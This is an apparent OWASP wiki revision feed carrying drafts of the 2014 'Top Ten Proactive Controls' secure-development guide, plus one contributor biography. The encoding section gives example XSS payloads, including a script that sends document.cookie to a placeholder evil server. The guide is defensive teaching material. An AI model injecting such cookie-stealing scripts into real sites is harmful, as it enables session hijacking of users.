&lt;br /&gt;
== 8: Leverage Security Features of Frameworks and Security Libraries ==&lt;br /&gt;
&lt;br /&gt;
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.&lt;br /&gt;
&lt;br /&gt;
When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:&lt;br /&gt;
&lt;br /&gt;
* Spring Security : [http://static.springsource.org/spring-security/site/index.html]&lt;br /&gt;
* Apache Shiro : [http://shiro.apache.org/ http://shiro.apache.org/]&lt;br /&gt;
* OWASP ESAPI : [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API]&lt;br /&gt;
&lt;br /&gt;
It is critical to keep these frameworks and libraries up to date as described in the [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities &amp;lt;i&amp;gt;using components with known vulnerabilities&amp;lt;/i&amp;gt; Top Ten 2013 risk].&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* https://www.owasp.org/index.php/PHP_Security_Cheat_Sheet&lt;br /&gt;
* https://www.owasp.org/index.php/.NET_Security_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 9: Include Security-Specific Requirements ==&lt;br /&gt;
&lt;br /&gt;
There are three basic categories of security requirements that can be defined early-on in a software development project:&lt;br /&gt;
&lt;br /&gt;
1) '''Security Features and Functions''': the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use cases or user stories which include input, behavior and output, and can be reviewed and tested for functional correctness by Q/A staff. For example, checking for re-authentication during change password or checking to make sure that changes to certain data were properly logged.&lt;br /&gt;
&lt;br /&gt;
2) '''Business Logic Abuse Cases''':  Business logic features include multi-step multi-branch workflows that are difficult to evaluate thoroughly and involve money or valuable items, user credentials, private information or command/control functions, for example eCommerce workflows, shipping route choices, or banking transfer validation. The user stories or use cases for these requirements should include exceptions and failure scenarios (what happens if a step fails or times out or if the user tries to cancel or repeat a step?) and requirements derived from &amp;quot;abuse cases&amp;quot;.  Abuse cases describe how the application's functions could be subverted by attackers. Walking through failures and abuse case scenarios will uncover weaknesses in validation and error handling that impact the reliability and security of the application.&lt;br /&gt;
&lt;br /&gt;
3) '''Data Classification and Privacy Requirements''': developers must always be aware of any personal or confidential information in the system and make sure that this data is protected. What is the source of the data? Can the source be trusted? Where is the data stored or displayed? Does it have to be stored or displayed? Who is authorized to create it, see it, change it, and is all of this tracked? This will drive the need for data validation, access control, encryption, and auditing and logging controls in the system.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[OWASP Application Security Verification Standard Project]]&lt;br /&gt;
* https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 10: Design and Architect Security In ==&lt;br /&gt;
&lt;br /&gt;
There are several areas where you need to be concerned about security in the architecture and design of a system. These include:&lt;br /&gt;
&lt;br /&gt;
1) '''Know your Tools''': Your choice of language(s) and platform (O/S, web server, messaging, database or NOSQL data manager) will result in technology-specific security risks and considerations that the development team must understand and manage.&lt;br /&gt;
&lt;br /&gt;
2) '''Tiering, Trust and Dependencies''': Another important part of secure architecture and design is tiering and trust. Deciding what controls to enforce at the client, the web layer, the business logic layer, the data management layer, and where to establish trust between different systems or different parts of the same system. Trust boundaries determine where to make decisions about authentication, access control, data validation and encoding, encryption and logging. Data, sources of data and services inside a trust boundary can be trusted - anything outside of a trust boundary cannot be. When designing or changing the design or a system, make sure to understand assumptions about trust, make sure that these assumptions are valid, and make sure that they are followed consistently.&lt;br /&gt;
&lt;br /&gt;
3) '''Manage the Attack Surface''': Be aware of the system's Attack Surface, the ways that attackers can get in, or get data out, of the system. Recognize when you are increasing the Attack Surface, and use this to drive risk assessments (should you do threat modeling or plan for additional testing). Are you introducing a new API or changing a high-risk security function of the system, or are you simply adding a new field to an existing page or file?&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model&lt;br /&gt;
* https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project&lt;br /&gt;
* https://www.owasp.org/index.php/Application_Security_Architecture_Cheat_Sheet&lt;br /&gt;
* [[Attack Surface Analysis Cheat Sheet]]&lt;br /&gt;
* https://www.owasp.org/index.php/Threat_Modeling_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Additional References ==&lt;br /&gt;
&lt;br /&gt;
[[OWASP Top Ten Project]]&amp;lt;br/&amp;gt;&lt;br /&gt;
[[OWASP Mobile Security Project]]&amp;lt;br/&amp;gt;&lt;br /&gt;
[[OWASP Secure Coding Practices - Quick Reference Guide]]&amp;lt;br/&amp;gt;&lt;br /&gt;
[[OWASP Cornucopia]]&lt;br /&gt;
&lt;br /&gt;
= Formal Numbering =&lt;br /&gt;
&lt;br /&gt;
* OWASP-C1: Parameterize Queries&lt;br /&gt;
* OWASP-C2: Encode Data&lt;br /&gt;
* OWASP-C3: Validate All Inputs&lt;br /&gt;
* OWASP-C4: Implement Appropriate Access Controls&lt;br /&gt;
* OWASP-C5: Establish Identity and Authentication Controls&lt;br /&gt;
* OWASP-C6: Protect Data and Privacy&lt;br /&gt;
* OWASP-C7: Implement Logging, Error Handling and Intrusion Detection&lt;br /&gt;
* OWASP-C8: Leverage Security Features of Frameworks and Security Libraries&lt;br /&gt;
* OWASP-C9: Include Security-Specific Requirements&lt;br /&gt;
* OWASP-C10: Design and Architect Security In&lt;br /&gt;
&lt;br /&gt;
= Project Roadmap =&lt;br /&gt;
&lt;br /&gt;
Welcome to the OWASP Top 10 Proactive Controls Project! &lt;br /&gt;
&lt;br /&gt;
== Roadmap ==&lt;br /&gt;
&lt;br /&gt;
End of April : Complete community review process&amp;lt;br/&amp;gt;&lt;br /&gt;
End of May : Release final document in well designed PDF form&lt;br /&gt;
&lt;br /&gt;
== Status ==&lt;br /&gt;
&lt;br /&gt;
March 10, 2014: We released an early beta of this document to the OWASP leaders list for review and commentary.&amp;lt;br/&amp;gt;&lt;br /&gt;
February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|OWASP Proactive Controls]] [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]] [[Category:OWASP_Document]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Jim_Bird&amp;diff=170580</id>
		<title>User:Jim Bird</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Jim_Bird&amp;diff=170580"/>
				<updated>2014-03-21T15:53:56Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Jim Bird is an experienced software development manager and project manager, with more than 25 years of experience in software engineering, IT integration and application operations. Jim is currently a co-founder and the CTO of of a New York-based Alternative Trading System (ATS) for secure and confidential institutional stock trading. As CTO, Jim is responsible for the company's technology strategy and information security programs, as well as managing the company's software development organization.&lt;br /&gt;
&lt;br /&gt;
Prior to this, Jim worked as a senior consultant to IBM's global financial markets practice, and to stock exchanges and banks globally, including the Deutsche Borse, the Australian Stock Exchange, the Italian Banking Association, the Saudi Arabian Central Bank, and the Korea Exchange. For more than 10 years, he was the CTO of a software company (now part of NASDAQ OMX) that developed and implemented technology for stock exchanges, clearing houses and banks in more than 30 countries around the world. &lt;br /&gt;
&lt;br /&gt;
Jim has been involved over the past 3 years with SANS and OWASP on application security and secure software development. He blogs regularly about secure software development on his personal blog &amp;quot;Building Real Software&amp;quot;, and at the SANS Application Security Street Fighter Blog, which he helps to manage.&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=170118</id>
		<title>OWASP Proactive Controls</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=170118"/>
				<updated>2014-03-14T14:47:32Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Main = &lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== OWASP Proactive Controls ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Image:Proactive.png‎|500px|frameless|architecture]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As software developers author the code that makes up a web application, they need to do so in a secure manner. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is this? ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Proactive Controls&lt;br /&gt;
&lt;br /&gt;
* This document was written by developers for developers, to assist those new to secure development.&lt;br /&gt;
&lt;br /&gt;
== Email List ==&lt;br /&gt;
&lt;br /&gt;
[https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List ]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
&lt;br /&gt;
Project Leaders:&amp;lt;br/&amp;gt;Jim Manico&amp;lt;br/&amp;gt;&lt;br /&gt;
Andrew Van Der Stock&amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Bird&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
Contributors: &amp;lt;br/&amp;gt;&lt;br /&gt;
Stephen de Vries&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP Top Ten Project]]&lt;br /&gt;
* [[Cheat Sheets]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [Feb 4 2014] New Wiki Template!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [https://creativecommons.org/licenses/by-sa/3.0/us/ CC BY-SA 3.0 US]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Proactive Controls =&lt;br /&gt;
&lt;br /&gt;
As software developers author the code that makes up a web application, they need to do so in a secure manner. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
There are more than 10 issues that developers need to be aware of.  Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.&lt;br /&gt;
 &lt;br /&gt;
The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would like to especially thank Andrew van der Stock for starting this project. I would also like to thank the entire [[Cheat Sheets]] series team whose content has been pulled from liberally for this document.  &lt;br /&gt;
&lt;br /&gt;
Introducing the OWASP Top Ten and one half Proactive Controls 2014. &lt;br /&gt;
&lt;br /&gt;
== 1) Query Parameterization ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection is perhaps one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is devastating.&lt;br /&gt;
&lt;br /&gt;
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.   &lt;br /&gt;
&lt;br /&gt;
To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization  Parameterization  in Java:&lt;br /&gt;
&lt;br /&gt;
 String newName = request.getParameter(&amp;quot;newName&amp;quot;);&lt;br /&gt;
 String id = request.getParameter(&amp;quot;id&amp;quot;);&lt;br /&gt;
 PreparedStatement pstmt = con.prepareStatement(&amp;quot;UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?&amp;quot;);  &lt;br /&gt;
 pstmt.setString(1, newName); &lt;br /&gt;
 pstmt.setString(2, id);&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization in PHP:&lt;br /&gt;
&lt;br /&gt;
 $email  = $_REQUEST[‘email’];&lt;br /&gt;
 $ id’= $_REQUEST[‘id’];&lt;br /&gt;
 $stmt = $dbh-&amp;gt;prepare(”update users set email=:new_email where id=:user_id”); &lt;br /&gt;
 $stmt-&amp;gt;bindParam(':new_email', $email);&lt;br /&gt;
 $stmt-&amp;gt;bindParam(':user_id', $id);&lt;br /&gt;
&lt;br /&gt;
For more information, please see the [[Query Parameterization Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 2) Encoding ==&lt;br /&gt;
&lt;br /&gt;
A key component of a web application is the user interface. Web developers often build web pages dynamically, consisting of database data that was originally populated with user input. This input should often be considered to be untrusted data and dangerous, which requires special handling when building a secure web application.&lt;br /&gt;
&lt;br /&gt;
Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website.  XSS attacks execute in users browsers and can have a wide variety of effects. &lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
XSS site defacement:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;document.body.innerHTML(“Jim was here”);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XSS session theft:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var img = new Image();&lt;br /&gt;
 img.src=&amp;amp;quot;hxxp://&amp;lt;some evil server&amp;gt;.com?” + document.cookie;&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem.  This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed. &lt;br /&gt;
&lt;br /&gt;
Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched.  This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.&lt;br /&gt;
&lt;br /&gt;
Contextual output encoding/escaping is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML.&lt;br /&gt;
&lt;br /&gt;
For more information on stopping XSS in your web application, please visit the OWASP Cross Site Scripting Prevention Cheat Sheet. https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
== 3) Validation ==&lt;br /&gt;
&lt;br /&gt;
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like.&lt;br /&gt;
	&lt;br /&gt;
There are two types on input validation: “White list validation and blacklist validation”. White list validation seeks to define what good input should look like.  Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively and is not often suggested when initially building a secure web application. The following examples will focus on whitelist validation examples.&lt;br /&gt;
&lt;br /&gt;
When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.&lt;br /&gt;
&lt;br /&gt;
Also, it's critical to treat all client side data as untrusted. (we need to expand on this)&lt;br /&gt;
&lt;br /&gt;
Let’s start with the following regular expression for the username. &lt;br /&gt;
&lt;br /&gt;
 ^[a-z0-9_]{3,16}$&lt;br /&gt;
&lt;br /&gt;
This regular expression input validation whitelist of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example. &lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for the password field.&lt;br /&gt;
&lt;br /&gt;
 ^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$&lt;br /&gt;
&lt;br /&gt;
This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).&lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).&lt;br /&gt;
&lt;br /&gt;
 ^[a-zA-Z0-9.!#$%&amp;amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$&lt;br /&gt;
&lt;br /&gt;
There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the [[OWASP Java HTML Sanitizer]]. A regular expression is not the right tool to parse and sanitize untrusted HTML.&lt;br /&gt;
&lt;br /&gt;
Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.&lt;br /&gt;
&lt;br /&gt;
== 4) Access Control TODO JMANICO ==&lt;br /&gt;
&lt;br /&gt;
Authorization (Access Control) is the process where requests to access a particular resource should be granted or denied. It should be noted that authorization is not equivalent to authentication. These terms and their definitions are frequently confused.&lt;br /&gt;
&lt;br /&gt;
=== Access Control Issues===&lt;br /&gt;
&lt;br /&gt;
* Many applications used the &amp;quot;All or Nothing&amp;quot; approach - Once authenticated, all users have equal privileges&lt;br /&gt;
* Authorization Logic often relies on Security by Obscurity (STO) by assuming:&lt;br /&gt;
* Users will not find unlinked or hidden paths or functionality&lt;br /&gt;
* Users will not find and tamper with &amp;quot;obscured&amp;quot; client side parameters (i.e. &amp;quot;hidden&amp;quot; form fields, cookies, etc.)&lt;br /&gt;
* Applications with multiple permission levels/roles often increases the possibility of conflicting permission sets resulting in unanticipated privileges&lt;br /&gt;
* Many administrative interfaces require only a password for authentication&lt;br /&gt;
* Shared accounts combined with a lack of auditing and logging make it extremely difficult to differentiate between malicious and honest administrators&lt;br /&gt;
* Administrative interfaces are often not designed as “secure” as user-level interfaces given the assumption that administrators are trusted users&lt;br /&gt;
* Authorization/Access Control relies on client-side information (e.g., hidden fields)&lt;br /&gt;
* Web and application server processes run as root, Administrator, LOCALSYSTEM or other privileged accounts&lt;br /&gt;
* Some web applications access the database via sa or other administrative account (or more privileges than required)&lt;br /&gt;
* Some applications implement authorization controls by including a file or web control or code snippet on every page in the application&lt;br /&gt;
    &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;fname&amp;quot; value=&amp;quot;Derek&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;lname&amp;quot; value=&amp;quot;Jeter&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;usertype&amp;quot; value=&amp;quot;admin&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Access Control Anti-Patterns ===&lt;br /&gt;
&lt;br /&gt;
* Hard-coded role checks in application code&lt;br /&gt;
* Lack of centralized access control logic&lt;br /&gt;
* Untrusted data driving access control decisions&lt;br /&gt;
* Access control that is &amp;quot;open by default&amp;quot;&lt;br /&gt;
* Lack of addressing horizontal access control in a standardized way (if at all)&lt;br /&gt;
* Access control logic that needs to be manually added to every endpoint in code&lt;br /&gt;
* non-anonymous entry point DO NOT have an access control check&lt;br /&gt;
* No authorization check at or near the beginning of code implementing sensitive activities&lt;br /&gt;
&lt;br /&gt;
For more information on access control, please see the [[Access Control Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 5) Identity and Authentication ==&lt;br /&gt;
&lt;br /&gt;
Authentication is the process of verification that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.&lt;br /&gt;
&lt;br /&gt;
Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.&lt;br /&gt;
&lt;br /&gt;
For more information, please see the [[Authentication Cheat Sheet]], the [[Password Storage Cheat Sheet]], the [[Forgot Password Cheat Sheet]] and the [[Session Management Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 6) Data Protection and Privacy ==&lt;br /&gt;
&lt;br /&gt;
=== Encryption in Transit ===&lt;br /&gt;
&lt;br /&gt;
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit. &lt;br /&gt;
&lt;br /&gt;
For more information on proper SSL/TLS configuration, please see the [[Transport Layer Protection Cheat Sheet]]. For information on protecting your users from man in the middle attacks via fraudulent SSL certificates, please see the [[Pinning Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=== Encryption at Rest TODO JMANICO===&lt;br /&gt;
&lt;br /&gt;
#1 forced to encrypt data via standards like PCI&lt;br /&gt;
#2 doing low level crypto by hand leads to bad crypto&lt;br /&gt;
#3 user well vetted libraries like KeyCzar&lt;br /&gt;
#4 key management a bear&lt;br /&gt;
#5 tiering and trust - crypto services vs embedding crypto at the app layer&lt;br /&gt;
#6 symmetric/asymmetric encryption&lt;br /&gt;
#7 weirdness of password strorage crypto (punt to the CS)&lt;br /&gt;
#8 digital signatures&lt;br /&gt;
#9 it's also important to ensure sensitive data is not cached in the browser. cache-control settings?&lt;br /&gt;
#10 For more information on low level decisions necessary when encrypting data at rest, please see the [[Cryptographic Storage Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=== Protection in Process ===&lt;br /&gt;
&lt;br /&gt;
Data can be exposed during processing. It may be more accessible in memory; it may be stored in temporary locations or in logs.&lt;br /&gt;
&lt;br /&gt;
== 7) Logging, Error Handling and Intrusion Detection ==&lt;br /&gt;
&lt;br /&gt;
Application logging should not be an afterthought or limited to debugging and troubleshooting. Logging is also used in other important activities:&lt;br /&gt;
&lt;br /&gt;
* Application monitoring&lt;br /&gt;
* Business analytics and insight&lt;br /&gt;
* Activity auditing and compliance monitoring&lt;br /&gt;
* System intrusion detection&lt;br /&gt;
* Forensics&lt;br /&gt;
&lt;br /&gt;
Use a common logging approach to ensure that all log entries are consistent, and contain essential information including source and timestamp.&lt;br /&gt;
&lt;br /&gt;
The AppSensor project defines a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into an existing application. For more information please see the [[OWASP AppSensor Project]].&lt;br /&gt;
&lt;br /&gt;
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCI DSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. &lt;br /&gt;
&lt;br /&gt;
It is important not to log too much, or too little - be careful not to log private or confidential data or secrets. Use knowledge of the intended purposes to guide what, when and how much. To protect from Log Injection aka Log Forging, make sure to perform validation or encoding on untrusted data before logging it.&lt;br /&gt;
&lt;br /&gt;
For more information on how to properly implement logging in an application, please see the [[Logging Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 8) Leverage Security Features of Frameworks and Security Libraries ==&lt;br /&gt;
&lt;br /&gt;
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.&lt;br /&gt;
&lt;br /&gt;
When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:&lt;br /&gt;
&lt;br /&gt;
* Spring Security : [http://static.springsource.org/spring-security/site/index.html]&lt;br /&gt;
* Apache Shiro : [http://shiro.apache.org/ http://shiro.apache.org/]&lt;br /&gt;
* OWASP ESAPI : [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API]&lt;br /&gt;
&lt;br /&gt;
It is critical to keep these frameworks and libraries up to date as described in the [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities &amp;lt;i&amp;gt;using components with known vulnerabilities&amp;lt;/i&amp;gt; Top Ten 2013 risk].&lt;br /&gt;
&lt;br /&gt;
== 9) Security in Requirements ==&lt;br /&gt;
&lt;br /&gt;
There are three basic categories of security requirements that can be defined early-on in a software development project:&lt;br /&gt;
&lt;br /&gt;
1) '''Security Features and Functions''': the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use cases or user stories which include input, behavior and output, and can be reviewed and tested for functional correctness by Q/A staff. For example, checking for re-authentication during change password or checking to make sure that changes to certain data were properly logged.&lt;br /&gt;
&lt;br /&gt;
2) '''Business Logic Abuse Cases''':  Business logic features include multi-step multi-branch workflows that are difficult to evaluate thoroughly and involve money or valuable items, user credentials, private information or command/control functions, for example eCommerce workflows, shipping route choices, or banking transfer validation. The user stories or use cases for these requirements should include exceptions and failure scenarios (what happens if a step fails or times out or if the user tries to cancel or repeat a step?) and requirements derived from &amp;quot;abuse cases&amp;quot;.  Abuse cases describe how the application's functions could be subverted by attackers. Walking through failures and abuse case scenarios will uncover weaknesses in validation and error handling that impact the reliability and security of the application.&lt;br /&gt;
&lt;br /&gt;
3) '''Data Classification and Privacy Requirements''': developers must always be aware of any personal or confidential information in the system and make sure that this data is protected. What is the source of the data? Can the source be trusted? Where is the data stored or displayed? Does it have to be stored or displayed? Who is authorized to create it, see it, change it, and is all of this tracked? This will drive the need for data validation, access control, encryption, and auditing and logging controls in the system.&lt;br /&gt;
&lt;br /&gt;
== 10) Security in Architecture and Design ==&lt;br /&gt;
&lt;br /&gt;
There are several areas where you need to be concerned about security in the architecture and design of a system. These include:&lt;br /&gt;
&lt;br /&gt;
1) '''Know your Tools''': Your choice of language(s) and platform (O/S, web server, messaging, database or NOSQL data manager) will result in technology-specific security risks and considerations that the development team must understand and manage.&lt;br /&gt;
&lt;br /&gt;
